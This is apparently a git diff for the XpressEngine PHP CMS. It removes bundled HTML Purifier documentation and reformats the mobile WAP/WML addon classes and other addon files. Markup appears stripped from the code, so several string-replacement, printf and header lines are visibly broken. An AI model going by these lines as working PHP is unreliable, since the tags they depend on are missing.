    - A - floating point number. You are alternatively permitted to - pass a numeric string (as defined by is_numeric()), - which will be cast to a float using (float). -
    -
    - A boolean. - You are alternatively permitted to pass an integer 0 or - 1 (other integers are not permitted) or a string - "on", "true" or "1" for - true, and "off", "false" or - "0" for false. -
    -
    - An array whose values are true, e.g. array('key' - => true, 'key2' => true). You are alternatively permitted - to pass an array list of the keys array('key', 'key2') - or a comma-separated string of keys "key, key2". If - you pass an array list of values, ensure that your values are - strictly numerically indexed: array('key1', 2 => - 'key2') will not do what you expect and emits a warning. -
    -
    - An array which has consecutive integer indexes, e.g. - array('val1', 'val2'). You are alternatively permitted - to pass a comma-separated string of keys "val1, val2". - If your array is not in this form, array_values is run - on the array and a warning is emitted. -
    -
    - An array which is a mapping of keys to values, e.g. - array('key1' => 'val1', 'key2' => 'val2'). You are - alternatively permitted to pass a comma-separated string of - key-colon-value strings, e.g. "key1: val1, key2: val2". -
    -
    - An arbitrary PHP value of any type. -
    -
    - - diff --git a/classes/security/htmlpurifier/configdoc/usage.xml b/classes/security/htmlpurifier/configdoc/usage.xml deleted file mode 100644 index 1c77b8f4e..000000000 --- a/classes/security/htmlpurifier/configdoc/usage.xml +++ /dev/null @@ -1,534 +0,0 @@ - - - - - 131 - - - 81 - 284 - - - 53 - 73 - 348 - - - 50 - - - - - 157 - - - - - 214 - - - - - 218 - - - - - 222 - - - - - 226 - - - - - 296 - - - - - 310 - - - - - 49 - - - - - 83 - - - - - 85 - - - - - 88 - - - - - 93 - - - - - 337 - 367 - - - - - 341 - 374 - - - - - 368 - - - - - 61 - - - - - 62 - - - - - 63 - - - - - 64 - - - - - 93 - - - - - 107 - - - 266 - - - - - 108 - - - - - 222 - - - - - 230 - - - - - 247 - - - - - 248 - - - - - 251 - - - - - 342 - - - - - 343 - - - - - 204 - - - 271 - - - 27 - - - 36 - - - 23 - - - - - 211 - - - - - 212 - - - - - 222 - - - - - 225 - - - - - 228 - - - - - 231 - - - - - 234 - - - - - 26 - - - - - 88 - - - - - 76 - - - - - 80 - - - 48 - - - - - 282 - - - - - 303 - - - - - 59 - - - 12 - - - - - 69 - - - 81 - - - - - 70 - - - - - 77 - - - - - 41 - - - - - 42 - - - - - 28 - - - - - 12 - - - 12 - - - - - 50 - - - - - 18 - - - - - 19 - - - - - 15 - - - - - 30 - - - - - 36 - - - - - 38 - 41 - - - - - 64 - - - - - 30 - - - - - 67 - - - - - 13 - - - - - 18 - - - 20 - - - - - 19 - - - - - 25 - - - - - 33 - - - - - 11 - - - 13 - - - - - 38 - - - - - 62 - - - - - 91 - - - - - 107 - 124 - - - - - 54 - - - - - 78 - - - - - 276 - - - - - 17 - - - 23 - - - - - 14 - - - 13 - - - 19 - - - - - 45 - - - - - 49 - - - - - 50 - - - - - 15 - - - - - 12 - - - - - 13 - - - - - 44 - - - - - 70 - - - - - 53 - - - 19 - - - - - 24 - - - - - 25 - - - - - 28 - - - - - 29 - - - - - 12 - - - - - 14 - - - - - 15 - - - - - 18 - - - diff --git a/classes/security/htmlpurifier/docs/dev-advanced-api.html b/classes/security/htmlpurifier/docs/dev-advanced-api.html deleted file mode 100644 index 5b7aaa3c8..000000000 --- a/classes/security/htmlpurifier/docs/dev-advanced-api.html +++ /dev/null @@ -1,26 +0,0 @@ - - - - - - - -Advanced API - HTML Purifier - - - -

    Advanced API

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    - Please see Customize! -

    - - - - diff --git a/classes/security/htmlpurifier/docs/dev-code-quality.txt b/classes/security/htmlpurifier/docs/dev-code-quality.txt deleted file mode 100644 index bceedebc4..000000000 --- a/classes/security/htmlpurifier/docs/dev-code-quality.txt +++ /dev/null @@ -1,29 +0,0 @@ - -Code Quality Issues - -Okay, face it. Programmers can get lazy, cut corners, or make mistakes. They -also can do quick prototypes, and then forget to rewrite them later. Well, -while I can't list mistakes in here, I can list prototype-like segments -of code that should be aggressively refactored. This does not list -optimization issues, that needs to be done after intense profiling. - -docs/examples/demo.php - ad hoc HTML/PHP soup to the extreme - -AttrDef - a lot of duplication, more generic classes need to be created; -a lot of strtolower() calls, no legit casing - Class - doesn't support Unicode characters (fringe); uses regular expressions - Lang - code duplication; premature optimization - Length - easily mistaken for CSSLength - URI - multiple regular expressions; missing validation for parts (?) - CSS - parser doesn't accept advanced CSS (fringe) - Number - constructor interface inconsistent with Integer -Strategy - FixNesting - cannot bubble nodes out of structures, duplicated checks - for special-case parent node - RemoveForeignElements - should be run in parallel with MakeWellFormed -URIScheme - needs to have callable generic checks - mailto - doesn't validate emails, doesn't validate querystring - news - doesn't validate opaque path - nntp - doesn't constrain path - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/docs/dev-config-bcbreaks.txt b/classes/security/htmlpurifier/docs/dev-config-bcbreaks.txt deleted file mode 100644 index 29a58ca2f..000000000 --- a/classes/security/htmlpurifier/docs/dev-config-bcbreaks.txt +++ /dev/null @@ -1,79 +0,0 @@ - -Configuration Backwards-Compatibility Breaks - -In version 4.0.0, the configuration subsystem (composed of the outwards -facing Config class, as well as the ConfigSchema and ConfigSchema_Interchange -subsystems), was significantly revamped to make use of property lists. -While most of the changes are internal, some internal APIs were changed for the -sake of clarity. HTMLPurifier_Config was kept completely backwards compatible, -although some of the functions were retrofitted with an unambiguous alternate -syntax. Both of these changes are discussed in this document. - - - -1. Outwards Facing Changes --------------------------------------------------------------------------------- - -The HTMLPurifier_Config class now takes an alternate syntax. The general rule -is: - - If you passed $namespace, $directive, pass "$namespace.$directive" - instead. - -An example: - - $config->set('HTML', 'Allowed', 'p'); - -becomes: - - $config->set('HTML.Allowed', 'p'); - -New configuration options may have more than one namespace, they might -look something like %Filter.YouTube.Blacklist. While you could technically -set it with ('HTML', 'YouTube.Blacklist'), the logical extension -('HTML', 'YouTube', 'Blacklist') does not work. - -The old API will still work, but will emit E_USER_NOTICEs. - - - -2. Internal API Changes --------------------------------------------------------------------------------- - -Some overarching notes: we've completely eliminated the notion of namespace; -it's now an informal construct for organizing related configuration directives. - -Also, the validation routines for keys (formerly "$namespace.$directive") -have been completely relaxed. I don't think it really should be necessary. - -2.1 HTMLPurifier_ConfigSchema - -First off, if you're interfacing with this class, you really shouldn't. -HTMLPurifier_ConfigSchema_Builder_ConfigSchema is really the only class that -should ever be creating HTMLPurifier_ConfigSchema, and HTMLPurifier_Config the -only class that should be reading it. - -All namespace related methods were removed; they are completely unnecessary -now. Any $namespace, $name arguments must be replaced with $key (where -$key == "$namespace.$name"), including for addAlias(). - -The $info and $defaults member variables are no longer indexed as -[$namespace][$name]; they are now indexed as ["$namespace.$name"]. - -All deprecated methods were finally removed, after having yelled at you as -an E_USER_NOTICE for a while now. - -2.2 HTMLPurifier_ConfigSchema_Interchange - -Member variable $namespaces was removed. - -2.3 HTMLPurifier_ConfigSchema_Interchange_Id - -Member variable $namespace and $directive removed; member variable $key added. -Any method that took $namespace, $directive now takes $key. - -2.4 HTMLPurifier_ConfigSchema_Interchange_Namespace - -Removed. - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/docs/dev-config-naming.txt b/classes/security/htmlpurifier/docs/dev-config-naming.txt deleted file mode 100644 index 66db5bce3..000000000 --- a/classes/security/htmlpurifier/docs/dev-config-naming.txt +++ /dev/null @@ -1,164 +0,0 @@ -Configuration naming - -HTML Purifier 4.0.0 features a new configuration naming system that -allows arbitrary nesting of namespaces. While there are certain cases -in which using two namespaces is obviously better (the canonical example -is where we were using AutoFormatParam to contain directives for AutoFormat -parameters), it is unclear whether or not a general migration to highly -namespaced directives is a good idea or not. - -== Case studies == - -=== Attr.* === - -We have a dead duck HTML.Attr.Name.UseCDATA which migrated before we decided -to think this out thoroughly. - -We currently have a large number of directives in the Attr.* namespace. -These directives tweak the behavior of some HTML attributes. They have -the properties: - -* While they apply to only one attribute at a time, the attribute can - span over multiple elements (not necessarily all attributes, either). - The information of which elements it impacts is either omitted or - informally stated (EnableID applies to all elements, DefaultImageAlt - applies to tags, AllowedRev doesn't say but only applies to a tags). - -* There is a certain degree of clustering that could be applied, especially - to the ID directives. The clustering could be done with respect to - what element/attribute was used, i.e. - - *.id -> EnableID, IDBlacklistRegexp, IDBlacklist, IDPrefixLocal, IDPrefix - img.src -> DefaultInvalidImage - img.alt -> DefaultImageAlt, DefaultInvalidImageAlt - bdo.dir -> DefaultTextDir - a.rel -> AllowedRel - a.rev -> AllowedRev - a.target -> AllowedFrameTargets - a.name -> Name.UseCDATA - -* The directives often reference generic attribute types that were specified - in the DTD/specification. However, some of the behavior specifically relies - on the fact that other use cases of the attribute are not, at current, - supported by HTML Purifier. - - AllowedRel, AllowedRev -> heavily specific; if ends up being - allowed, we will also have to give users specificity there (we also - want to preserve generality) DTD %Linktypes, HTML5 distinguishes - between and / - AllowedFrameTargets -> heavily specific, but also used by - and
    . Transitional DTD %FrameTarget, not present in strict, - HTML5 calls them "browsing contexts" - Default*Image* -> as a default parameter, is almost entirely exlcusive - to - EnableID -> global attribute - Name.UseCDATA -> heavily
    specific, but has heavy other usage by - many things - -== AutoFormat.* == - -These have the fairly normal pluggable architecture that lends itself to -large amounts of namespaces (pluggability may be the key to figuring -out when gratuitous namespacing is good.) Properties: - -* Boolean directives are fair game for being namespaced: for example, - RemoveEmpty.RemoveNbsp triggers RemoveEmpty.RemoveNbsp.Exceptions, - the latter of which only makes sense when RemoveEmpty.RemoveNbsp - is set to true. (The same applies to RemoveNbsp too) - -The AutoFormat string is a bit long, but is the only bit of repeated -context. - -== Core.* == - -Core is the potpourri of directives, mostly regarding some minor behavioral -tweaks for HTML handling abilities. - - AggressivelyFixLt - ConvertDocumentToFragment - DirectLexLineNumberSyncInterval - LexerImpl - MaintainLineNumbers - Lexer - CollectErrors - Language - Error handling (Language is ostensibly a little more general, but - it's only used for error handling right now) - ColorKeywords - CSS and HTML - Encoding - EscapeNonASCIICharacters - Character encoding - EscapeInvalidChildren - EscapeInvalidTags - HiddenElements - RemoveInvalidImg - Lexing/Output - RemoveScriptContents - Deprecated - -== HTML.* == - - AllowedAttributes - AllowedElements - AllowedModules - Allowed - ForbiddenAttributes - ForbiddenElements - Element set tuning - BlockWrapper - Child def advanced twiddle - CoreModules - CustomDoctype - Advanced HTMLModuleManager twiddles - DefinitionID - DefinitionRev - Caching - Doctype - Parent - Strict - XHTML - Global environment - MaxImgLength - Attribute twiddle? (applies to two attributes) - Proprietary - SafeEmbed - SafeObject - Trusted - Extra functionality/tagsets - TidyAdd - TidyLevel - TidyRemove - Tidy - -== Output.* == - -These directly affect the output of Generator. These are all advanced -twiddles. - -== URI.* == - - AllowedSchemes - OverrideAllowedSchemes - Scheme tuning - Base - DefaultScheme - Host - Global environment - DefinitionID - DefinitionRev - Caching - DisableExternalResources - DisableExternal - DisableResources - Disable - Contextual/authority tuning - HostBlacklist - Authority tuning - MakeAbsolute - MungeResources - MungeSecretKey - Munge - Transformation behavior (munge can be grouped) - - diff --git a/classes/security/htmlpurifier/docs/dev-config-schema.html b/classes/security/htmlpurifier/docs/dev-config-schema.html deleted file mode 100644 index 07aecd35a..000000000 --- a/classes/security/htmlpurifier/docs/dev-config-schema.html +++ /dev/null @@ -1,412 +0,0 @@ - - - - - - - - Config Schema - HTML Purifier - - - -

    Config Schema

    - -
    Filed under Development
    -
    -
    HTML Purifier End-User Documentation
    - -

    - HTML Purifier has a fairly complex system for configuration. Users - interact with a HTMLPurifier_Config object to - set configuration directives. The values they set are validated according - to a configuration schema, HTMLPurifier_ConfigSchema. -

    - -

    - The schema is mostly transparent to end-users, but if you're doing development - work for HTML Purifier and need to define a new configuration directive, - you'll need to interact with it. We'll also talk about how to define - userspace configuration directives at the very end. -

    - -

    Write a directive file

    - -

    - Directive files define configuration directives to be used by - HTML Purifier. They are placed in library/HTMLPurifier/ConfigSchema/schema/ - in the form Namespace.Directive.txt (I - couldn't think of a more descriptive file extension.) - Directive files are actually what we call StringHashes, - i.e. associative arrays represented in a string form reminiscent of - PHPT tests. Here's a - sample directive file, Test.Sample.txt: -

    - -
    Test.Sample
    -TYPE: string/null
    -DEFAULT: NULL
    -ALLOWED: 'foo', 'bar'
    -VALUE-ALIASES: 'baz' => 'bar'
    -VERSION: 3.1.0
    ---DESCRIPTION--
    -This is a sample configuration directive for the purposes of the
    -<code>dev-config-schema.html<code> documentation.
    ---ALIASES--
    -Test.Example
    - -

    - Each of these segments has a specific meaning: -

    - -
    '); + // Links/wrap, remove all tags except gangjoman + $content = strip_tags($content, implode($allow_tag_array)); + // Margins tab removed + $content = str_replace("\t", "", $content); + // Repeat two more times the space and remove julnanumeul + $content = preg_replace('/( ){2,}/s', '', $content); + $content = preg_replace("/([\r\n]+)/s", "\r\n", $content); + $content = preg_replace(array("/","
    "), array("
    ","
    "), $content); + + while(strpos($content, '

    ')) + { + $content = str_replace('

    ','
    ',$content); + } + // If the required size of a deck of mobile content to write down all the dividing pages + $contents = array(); + while($content) + { + $tmp = $this->cutStr($content, $this->deckSize, ''); + $contents[] = $tmp; + $content = substr($content, strlen($tmp)); + + //$content = str_replace(array('&','<','>','"','&nbsp;'), array('&','<','>','"',' '), $content); + + foreach($allow_tag_array as $tag) + { + if($tag == '
    ') continue; + $tag_open_pos = strpos($content, str_replace('>','',$tag)); + $tag_close_pos = strpos($content, str_replace('<','totalPage = count($contents); + // next/prevUrl specify + if($this->mobilePage>1) + { + $url = getUrl('mid',$_GET['mid'],'mpage',$this->mobilePage-1); + $text = sprintf('%s (%d/%d)', Context::getLang('cmd_prev'), $this->mobilePage-1, $this->totalPage); + $this->setPrevUrl($url, $text); + } + + if($this->mobilePage<$this->totalPage) + { + $url = getUrl('mid',$_GET['mid'],'mpage',$this->mobilePage+1); + $text = sprintf('%s (%d/%d)', Context::getLang('cmd_next'), $this->mobilePage+1, $this->totalPage); + $this->setNextUrl($url, $text); + } + + $this->content = $contents[$this->mobilePage-1]; + $oModuleController->replaceDefinedLangCode($this->content); + $content = str_replace(array('$','\''), array('$$','''), $content); + } + + /** + * @brief cutting the number of byte functions + */ + function cutStr($string, $cut_size) + { + return preg_match('/.{'.$cut_size.'}/su', $string, $arr) ? $arr[0] : $string; + } + + /** + * @brief Return content + */ + function getContent() + { + return $this->content; + } + + /** + * @brief Specifies the home url + */ + function setHomeUrl($url, $text) + { + if(!$url) $url = '#'; + $this->homeUrl->url = $url; + $this->homeUrl->text = $text; + } + + /** + * @brief Specify upper url + */ + function setUpperUrl($url, $text) + { + if(!$url) $url = '#'; + $this->upperUrl->url = $url; + $this->upperUrl->text = $text; + } + + /** + * @brief Specify prev url + */ + function setPrevUrl($url, $text) + { + if(!$url) $url = '#'; + $this->prevUrl->url = $url; + $this->prevUrl->text = $text; + } + + /** + * @brief Specify next url + */ + function setNextUrl($url, $text) + { + if(!$url) $url = '#'; + $this->nextUrl->url = $url; + $this->nextUrl->text = $text; + } + + /** + * @brief Next, Previous, Top button assignments other than + */ + function setEtcBtn($url, $text) + { + if(!$url) $url = '#'; + $etc['url'] = $url; + $etc['text'] = htmlspecialchars($text); + $this->etcBtn[] = $etc; + } + + /** + * @brief display + */ + function display() + { + // Home button assignments + $this->setHomeUrl(getUrl(), Context::getLang('cmd_go_home')); + // Specify the title + if(!$this->title) $this->setTitle(Context::getBrowserTitle()); + + ob_start(); + // Output header + $this->printHeader(); + // Output title + $this->printTitle(); + // Information output + $this->printContent(); + // Button output + $this->printBtn(); + // Footer output + $this->printFooter(); + + $content = ob_get_clean(); + // After conversion output + if(strtolower($this->charset) == 'utf-8') print $content; + else print iconv('UTF-8',$this->charset."//TRANSLIT//IGNORE", $content); + + exit(); + } + + /** + * @brief Move page + */ + function movepage($url) + { + header("location:$url"); + exit(); + } + + /** + * @brief And returns a list of serial numbers in + */ + function getNo() + { + $this->no++; + $str = $this->no; + return $str; + } + + /** + * @brief XE is easy to use Menu module is relieved during the function, value + */ + function getListedItems($menu, &$listed_items, &$node_list) + { + if(!count($menu)) return; + foreach($menu as $node_srl => $item) + { + if(preg_match('/^([a-zA-Z0-9\_\-]+)$/', $item['url'])) + { + $mid = $item['mid'] = $item['url']; + $node_list[$mid] = $node_srl; + } + else + { + $mid = $item['mid'] = null; + } + + $listed_items[$node_srl] = $item; + $this->getListedItems($item['list'], $listed_items, $node_list); + } + } + + /** + * @brief XE navigation output + */ + function displayNavigationContent() + { + $childs = array(); + + if($this->cmid) + { + $cur_item = $this->listed_items[$this->cmid]; + $upper_srl = $cur_item['parent_srl'];; + $list = $cur_item['list'];; + $this->setUpperUrl(getUrl('cmid',$upper_srl), Context::getLang('cmd_go_upper')); + if(preg_match('/^([a-zA-Z0-9\_\-]+)$/', $cur_item['url'])) + { + $obj = null; + $obj['href'] = getUrl('','mid',$cur_item['url']); + $obj['link'] = $obj['text'] = '['.$cur_item['text'].']'; + $childs[] = $obj; + } + + } + else + { + $list = $this->menu; + $upper_srl = 0; + } + + if(count($list)) + { + foreach($list as $key => $val) + { + if(!$val['text']) continue; + $obj = null; + if(!count($val['list'])) + { + $obj['href'] = getUrl('','mid',$val['url']); + } + else + { + $obj['href'] = getUrl('cmid',$val['node_srl']); + } + $obj['link'] = $obj['text'] = $val['text']; + $childs[] = $obj; + } + $this->setChilds($childs); + } + // Output + $this->display(); + } + + /** + * @brief Language Settings menu, the output + */ + function displayLangSelect() + { + $childs = array(); + + $this->lang = FileHandler::readFile('./files/cache/addons/mobile/setLangType/personal_settings/'.md5(trim($_SERVER['HTTP_USER_AGENT']).trim($_SERVER['HTTP_PHONE_NUMBER']).trim($_SERVER['HTTP_HTTP_PHONE_NUMBER'])).'.php'); + if($this->lang) + { + $this->lang = str_replace(array(''),array('',''),$this->lang); + Context::setLangType($this->lang); + } + $lang_supported = Context::get('lang_supported'); + $lang_type = Context::getLangType(); + $obj = null; + $obj['link'] = $obj['text'] = Context::getLang('president_lang').' : '.$lang_supported[$lang_type]; + $obj['href'] = getUrl('sel_lang',$lang_type); + $childs[] = $obj; + + if(is_array($lang_supported)) + { + foreach($lang_supported as $key => $val) + { + $obj = null; + $obj['link'] = $obj['text'] = $val; + $obj['href'] = getUrl('sel_lang',$key); + $childs[] = $obj; + } + } + + $this->setChilds($childs); + + $this->display(); + } + + /** + * @brief Module to create a class object of the WAP WAP ready + */ + function displayModuleContent() + { + // Create WAP class objects of the selected module + $oModule = &getWap($this->module_info->module); + if(!$oModule || !method_exists($oModule, 'procWAP') ) return; + + $vars = get_object_vars($this->oModule); + if(count($vars)) foreach($vars as $key => $val) $oModule->{$key} = $val; + // Run + $oModule->procWAP($this); + // Output + $this->display(); + } + + /** + * @brief WAP content is available as a separate output if the final results + */ + function displayContent() + { + Context::set('layout','none'); + // Compile a template + $oTemplate = new TemplateHandler(); + $oContext = &Context::getInstance(); + + $content = $oTemplate->compile($this->oModule->getTemplatePath(), $this->oModule->getTemplateFile()); + $this->setContent($content); + // Output + $this->display(); + } +} +/* End of file mobile.class.php */ +/* Location: ./addons/mobile/classes/mobile.class.php */ diff --git a/addons/mobile/classes/wml.class.php b/addons/mobile/classes/wml.class.php index a9a91fb95..c2b77a284 100644 --- a/addons/mobile/classes/wml.class.php +++ b/addons/mobile/classes/wml.class.php @@ -1,104 +1,127 @@ charset); + if($this->totalPage > $this->mobilePage) $titlePageStr = sprintf("(%d/%d)",$this->mobilePage, $this->totalPage); + print("charset."\"?>\n"); + // Card Title + printf("\n\n

    \n",htmlspecialchars($this->title),htmlspecialchars($titlePageStr)); + } - /** - * @brief wml header output - **/ - function printHeader() { - header("Content-Type: text/vnd.wap.wml"); - header("charset: ".$this->charset); - if($this->totalPage > $this->mobilePage) $titlePageStr = sprintf("(%d/%d)",$this->mobilePage, $this->totalPage); - print("charset."\"?>\n"); - // Card Title - printf("\n\n

    \n",htmlspecialchars($this->title),htmlspecialchars($titlePageStr)); - } + /** + * @brief Output title + */ + function printTitle() + { + if($this->totalPage > $this->mobilePage) $titlePageStr = sprintf("(%d/%d)",$this->mobilePage, $this->totalPage); + printf('<%s%s>
    %s', htmlspecialchars($this->title),htmlspecialchars($titlePageStr),"\n"); + } - /** - * @brief Output title - **/ - function printTitle() { - if($this->totalPage > $this->mobilePage) $titlePageStr = sprintf("(%d/%d)",$this->mobilePage, $this->totalPage); - printf('<%s%s>
    %s', htmlspecialchars($this->title),htmlspecialchars($titlePageStr),"\n"); - } + /** + * @brief Output information + * hasChilds() if there is a list of content types, otherwise output + */ + function printContent() + { + if($this->hasChilds()) + { + foreach($this->getChilds() as $key => $val) + { + if(!$val['link']) continue; + printf('%s', $this->getNo(), htmlspecialchars($val['text']), $val['href'], "\n"); + if($val['extra']) printf("%s\n",$val['extra']); + } + } + else + { + printf('%s
    %s', str_replace("
    ","
    ",$this->getContent()),"\n"); + } + print('
    '); + } - /** - * @brief Output information - * hasChilds() if there is a list of content types, otherwise output - **/ - function printContent() { - if($this->hasChilds()) { - foreach($this->getChilds() as $key => $val) { - if(!$val['link']) continue; - printf('%s', $this->getNo(), htmlspecialchars($val['text']), $val['href'], "\n"); - if($val['extra']) printf("%s\n",$val['extra']); - } - } else { - printf('%s
    %s', str_replace("
    ","
    ",$this->getContent()),"\n"); - } - print('
    '); - } - - /** - * @brief Button to output - **/ - function printBtn() { - if($this->nextUrl) { - $url = $this->nextUrl; - printf('%s', $url->text, $url->url, "\n"); - } - if($this->prevUrl) { - $url = $this->prevUrl; - printf('%s', $url->text, $url->url, "\n"); - } - // Others are not applicable in charge of the button output (array passed) type?? - if($this->etcBtn) { - if(is_array($this->etcBtn)) { - foreach($this->etcBtn as $key=>$val) { - printf('%s', $key, $val['text'], $val['url'], "\n"); - } - } - } - // Select Language - if(!parent::isLangChange()){ - $url = getUrl('','lcm','1','sel_lang',Context::getLangType(),'return_uri',Context::get('current_url')); - printf('%s', 'Language : '.Context::getLang('select_lang'), $url, "\n"); - } - else { - printf('%s', Context::getLang('lang_return'), Context::get('return_uri'), "\n"); - } - if($this->homeUrl) { - $url = $this->homeUrl; - printf('%s', $url->text, $url->url, "\n"); - } - if($this->upperUrl) { - $url = $this->upperUrl; - printf('%s', $url->text, $url->url, "\n"); - } - } - // Footer information output - function printFooter() { - print("

    \n
    \n
    "); - } - // And returns a list of serial numbers in - function getNo() { - if(Context::get('mobile_skt')==1) { - return "vnd.skmn".parent::getNo(); - } - else { - return parent::getNo(); - } - return $str; - } - } -?> + /** + * @brief Button to output + */ + function printBtn() + { + if($this->nextUrl) + { + $url = $this->nextUrl; + printf('%s', $url->text, $url->url, "\n"); + } + if($this->prevUrl) + { + $url = $this->prevUrl; + printf('%s', $url->text, $url->url, "\n"); + } + // Others are not applicable in charge of the button output (array passed) type?? + if($this->etcBtn) + { + if(is_array($this->etcBtn)) + { + foreach($this->etcBtn as $key=>$val) + { + printf('%s', $key, $val['text'], $val['url'], "\n"); + } + } + } + // Select Language + if(!parent::isLangChange()) + { + $url = getUrl('','lcm','1','sel_lang',Context::getLangType(),'return_uri',Context::get('current_url')); + printf('%s', 'Language : '.Context::getLang('select_lang'), $url, "\n"); + } + else + { + printf('%s', Context::getLang('lang_return'), Context::get('return_uri'), "\n"); + } + if($this->homeUrl) + { + $url = $this->homeUrl; + printf('%s', $url->text, $url->url, "\n"); + } + if($this->upperUrl) + { + $url = $this->upperUrl; + printf('%s', $url->text, $url->url, "\n"); + } + } + // Footer information output + function printFooter() + { + print("

    \n\n"); + } + // And returns a list of serial numbers in + function getNo() + { + if(Context::get('mobile_skt')==1) + { + return "vnd.skmn".parent::getNo(); + } + else + { + return parent::getNo(); + } + return $str; + } +} +/* End of file wml.class.php */ +/* Location: ./addons/mobile/classes/wml.class.php */ diff --git a/addons/mobile/conf/info.xml b/addons/mobile/conf/info.xml index d9f43b2a5..a27a2c727 100644 --- a/addons/mobile/conf/info.xml +++ b/addons/mobile/conf/info.xml @@ -8,7 +8,7 @@ Mobile XE XE行動上網 - 모바일에서 접속시 헤더 정보를 분석하여 메뉴 - 모듈의 관계를 이용하여 WAP 태그로 출력하는 애드온입니다. + 모바일에서 접속시 헤더 정보를 분석하여 WAP 태그로 출력하는 애드온입니다. wml, hdml, mhtml를 지원하고 그 이외의 경우에는 동작하지 않습니다. @@ -72,41 +72,13 @@ Charset Charset 編碼 - - 모바일 기기의 경우 UTF-8 문자셋을 인식하지 못할 수 있습니다. - 문자셋에 원하시는 문자셋을 입력하면 자동으로 변환하여 출력하여 모바일에서 이상없이 출력하도록 합니다. - 기본값은 UTF-8입니다. - (*SK Telecom 휴대전화의 경우 euc-kr인코딩만 지원하므로, 강제로 euc-kr인코딩만 지원합니다.) - - - ある特定のモバイル機器ではutf-8文字コードの認識が出来ない場合があります。 - 文字コードを設定すると、(日本語だけの場合)該当文字コードに自動変換して正常に表示出来るようになります。 - 本アドオンのデフォルト値はUTF-8で、日本の携帯はshift-jisが一般的です。 - - - 手机有时无法识别utf-8编码,这时输入相应的编码值即可自动转换。 - 默认编码为UTF-8。 - - - utf-8 may be read with mobile tools. - Mobile tools will display correct charset when you input charset you want. - Default charset is UTF-8. - - - UTF-8 không thể đọc được cho các công cụ di động. - Những công cụ di động sẽ trình bày Charset đúng khi bạn nhập vào Charset bạn muốn. - Charset mặc định là UTF-8. - - - utf-8 may be read with mobile tools. - Mobile tools will display correct charset when you input charset you want. - Default charset is UTF-8. - - - 行動工具無法讀取utf-8編碼。 - 當您輸入所想要的編碼時,行動工具將會正確的顯示。 - 預設編碼是UTF-8. - + 모바일 기기의 경우 UTF-8 문자셋을 인식하지 못할 수 있습니다. 문자셋에 원하는 문자셋을 입력하면 자동으로 변환하여 출력하여 모바일에서 이상없이 출력하도록 합니다. 기본값은 UTF-8입니다. (*SK Telecom 휴대전화의 경우 euc-kr인코딩만 지원하므로, 강제로 euc-kr인코딩만 지원합니다.) + ある特定のモバイル機器ではutf-8文字コードの認識が出来ない場合があります。文字コードを設定すると、(日本語だけの場合)該当文字コードに自動変換して正常に表示出来るようになります。本アドオンのデフォルト値はUTF-8で、日本の携帯はshift-jisが一般的です。 + 手机有时无法识别utf-8编码,这时输入相应的编码值即可自动转换。默认编码为UTF-8。 + utf-8 may be read with mobile tools. Mobile tools will display correct charset when you input charset you want. Default charset is UTF-8. + UTF-8 không thể đọc được cho các công cụ di động. Những công cụ di động sẽ trình bày Charset đúng khi bạn nhập vào Charset bạn muốn. Charset mặc định là UTF-8. + utf-8 may be read with mobile tools. Mobile tools will display correct charset when you input charset you want. Default charset is UTF-8. + 行動工具無法讀取utf-8編碼。當您輸入所想要的編碼時,行動工具將會正確的顯示。預設編碼是UTF-8. diff --git a/addons/mobile/mobile.addon.php b/addons/mobile/mobile.addon.php index 15bde8a8a..8539c64bd 100644 --- a/addons/mobile/mobile.addon.php +++ b/addons/mobile/mobile.addon.php @@ -1,5 +1,7 @@ display mobile content * Condition - **/ + * */ // Ignore admin page -if(Context::get('module')=='admin') return; +if(Context::get('module') == 'admin') +{ + return; +} // Manage when to call it -if($called_position != 'before_module_proc' && $called_position != 'after_module_proc' ) return; +if($called_position != 'before_module_proc' && $called_position != 'after_module_proc') +{ + return; +} // Ignore if not mobile browser -require_once(_XE_PATH_.'addons/mobile/classes/mobile.class.php'); -if(!mobileXE::getBrowserType()) return; +require_once(_XE_PATH_ . 'addons/mobile/classes/mobile.class.php'); +if(!mobileXE::getBrowserType()) +{ + return; +} // Generate mobile instance $oMobile = &mobileXE::getInstance(); -if(!$oMobile) return; +if(!$oMobile) +{ + return; +} // Specify charset on the add-on settings $oMobile->setCharSet($addon_info->charset); // Set module information $oMobile->setModuleInfo($this->module_info); // Register the current module object $oMobile->setModuleInstance($this); -// Extract content and display/exit if navigate mode is or if WAP class exists -if($called_position == 'before_module_proc') { - if($oMobile->isLangChange()) { +// Extract content and display/exit if navigate mode is or if WAP class exists +if($called_position == 'before_module_proc') +{ + if($oMobile->isLangChange()) + { $oMobile->setLangType(); $oMobile->displayLangSelect(); } // On navigation mode, display navigation content - if($oMobile->isNavigationMode()) $oMobile->displayNavigationContent(); + if($oMobile->isNavigationMode()) + { + $oMobile->displayNavigationContent(); + } // If you have a WAP class content output via WAP class - else $oMobile->displayModuleContent(); -// If neither navigation mode nor WAP class is, display the module's result -} else if($called_position == 'after_module_proc') { + else + { + $oMobile->displayModuleContent(); + } + // If neither navigation mode nor WAP class is, display the module's result +} +else if($called_position == 'after_module_proc') +{ // Display $oMobile->displayContent(); } -?> + +/* End of file mobile.addon.php */ +/* Location: ./addons/mobile/mobile.addon.php */ diff --git a/addons/openid_delegation_id/openid_delegation_id.addon.php b/addons/openid_delegation_id/openid_delegation_id.addon.php index db1e90c88..42c9a8a2d 100644 --- a/addons/openid_delegation_id/openid_delegation_id.addon.php +++ b/addons/openid_delegation_id/openid_delegation_id.addon.php @@ -1,5 +1,7 @@ server||!$addon_info->delegate||!$addon_info->xrds) return; +if(!$addon_info->server || !$addon_info->delegate || !$addon_info->xrds) +{ + return; +} $header_script = sprintf( - ''."\n". - ''."\n". - '', - $addon_info->server, - $addon_info->delegate, - $addon_info->xrds + '' . "\n" . + '' . "\n" . + '', + $addon_info->server, + $addon_info->delegate, + $addon_info->xrds ); Context::addHtmlHeader($header_script); -?> + +/* End of file openid_delegation_id.addon.php */ +/* Location: ./addons/openid_delegation_id/openid_delegation_id.addon.php */ diff --git a/addons/point_level_icon/conf/info.xml b/addons/point_level_icon/conf/info.xml index 201cdfb7c..2399143d3 100644 --- a/addons/point_level_icon/conf/info.xml +++ b/addons/point_level_icon/conf/info.xml @@ -11,7 +11,7 @@ 點數等級圖案 포인트 시스템을 사용중일 경우 사용자 이름 앞에 레벨 아이콘을 표시하도록 합니다. - 레벨 아이콘은 모듈 > 포인트시스템에서 선택 가능합니다. + 레벨 아이콘은 설치된 모듈 > 